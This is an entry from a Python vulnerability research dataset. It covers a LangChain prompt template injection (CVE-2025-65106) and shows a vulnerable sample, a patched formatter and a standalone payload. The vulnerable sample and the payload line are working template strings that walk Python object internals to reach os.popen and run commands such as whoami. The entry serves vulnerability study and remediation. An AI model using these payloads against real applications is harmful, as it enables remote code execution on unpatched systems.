CVE-2025-65106
LangChain prompt template injection allows access to Python internals.
- CVSS 8.3
- CWE-1336
- Input Validation and Sanitization
- Remote
LangChain is a framework for building agents and LLM-powered applications. From versions 0.3.79 and prior and 1.0.0 to 1.0.6, a template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes. This issue has been patched in versions 0.3.80 and 1.0.7.
- CWE
- CWE-1336
- CVSS base score
- 8.3
- Published
- 2025-11-21
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- LangChain
- Fixed by upgrading
- Yes
Solution
Upgrade LangChain to version 0.3.80 or 1.0.7.
Vulnerable code sample
import os
from langchain_core.prompts import ChatPromptTemplate
# In a real-world scenario, this class would be part of the application's logic.
# It serves as an object that can be passed into the template's context.
class UserObject:
def __init__(self):
self.name = "World"
# The attacker provides a malicious template string.
# This is NOT a safe, parameterized template. The entire string is user-controlled.
# The payload navigates object internals via Python's default string formatting rules,
# which were used by LangChain in vulnerable versions.
# It accesses the __globals__ of the UserObject's constructor to find the 'os' module
# and then executes an arbitrary command.
malicious_template_string = "Hello, your system command output is: {user.__init__.__globals__[os].popen('echo VULNERABLE_CODE_EXECUTED').read()}"
# The application unknowingly creates a prompt template from the attacker-controlled string.
prompt = ChatPromptTemplate.from_template(template=malicious_template_string)
# The application then formats the prompt, passing in a legitimate object.
# In the vulnerable version, this step triggers the execution of the command
# embedded in the template string.
try:
# The .format() method triggers the unsafe string formatting.
formatted_output = prompt.format(user=UserObject())
print(formatted_output)
except Exception as e:
# The exact error or output might vary, but the key is that the
# template parsing attempts to execute the malicious payload.
print(f"An error or unexpected behavior occurred, indicating a potential vulnerability: {e}")Patched code sample
import string
from typing import Any, Dict, List, Mapping, Sequence, Tuple, Union
class SafeFormatter(string.Formatter):
"""
A custom string formatter that prevents access to private or magic attributes.
This is a key part of the fix for the template injection vulnerability.
"""
def get_field(
self, field_name: str, args: Sequence[Any], kwargs: Mapping[str, Any]
) -> Tuple[Any, str]:
"""
Override to check for attempts to access protected attributes.
This method is called for each replacement field in the template.
"""
# Disallow access to attributes starting with an underscore.
# This prevents access to private attributes (e.g., _private_var)
# and magic methods (e.g., __class__).
if any(
part.startswith("_")
for part in field_name.replace("[", ".").split(".")
if part
):
raise ValueError(
f"Access to private or magic attributes is not allowed. "
f"Attempted to access '{field_name}'."
)
# If the check passes, proceed with the default behavior.
return super().get_field(field_name, args, kwargs)
class PatchedChatPromptTemplate:
"""
A representative example of a patched prompt template class that uses the
SafeFormatter to prevent template injection vulnerabilities.
"""
def __init__(self, template: str):
self.template = template
self._formatter = SafeFormatter()
def format(self, **kwargs: Any) -> str:
"""
Formats the template string using the safe formatter.
"""
return self._formatter.format(self.template, **kwargs)
# --- Demonstration of the Fix ---
# 1. Define a simple class to use as a template variable.
class User:
def __init__(self, name: str, role: str):
self.name = name
self.role = role
self._internal_id = "abc-123-internal"
# 2. Create an instance of the user.
current_user = User(name="Alice", role="admin")
# 3. Define a malicious template that tries to access a magic attribute (__class__).
malicious_template_str = "User's object type is: {user.__class__}"
# 4. Instantiate the patched template class with the malicious string.
patched_template = PatchedChatPromptTemplate(template=malicious_template_str)
print("--- Demonstrating the Fix for CVE-2025-65106 ---")
print(f"Attempting to format malicious template: '{malicious_template_str}'\n")
# 5. Attempt to format the template. This should fail due to the SafeFormatter.
try:
patched_template.format(user=current_user)
except ValueError as e:
print(f"SUCCESS: The vulnerability was blocked as expected.")
print(f"Error message: {e}\n")
# 6. Define another malicious template trying to access a private attribute.
malicious_template_2_str = "User's internal ID is: {user._internal_id}"
patched_template_2 = PatchedChatPromptTemplate(template=malicious_template_2_str)
print(f"Attempting to format another malicious template: '{malicious_template_2_str}'\n")
try:
patched_template_2.format(user=current_user)
except ValueError as e:
print(f"SUCCESS: The vulnerability was blocked for private attributes too.")
print(f"Error message: {e}\n")
# 7. Show that a legitimate template still works correctly.
legitimate_template_str = "User '{user.name}' has the role '{user.role}'."
patched_legit_template = PatchedChatPromptTemplate(template=legitimate_template_str)
print(f"Formatting a legitimate template: '{legitimate_template_str}'\n")
formatted_string = patched_legit_template.format(user=current_user)
print(f"SUCCESS: Legitimate formatting works as intended.")
print(f"Result: {formatted_string}")Payload
{"".__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['os'].popen('whoami').read()}
Cite this entry
@misc{vaitp:cve202565106,
title = {{LangChain prompt template injection allows access to Python internals.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-65106},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-65106/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
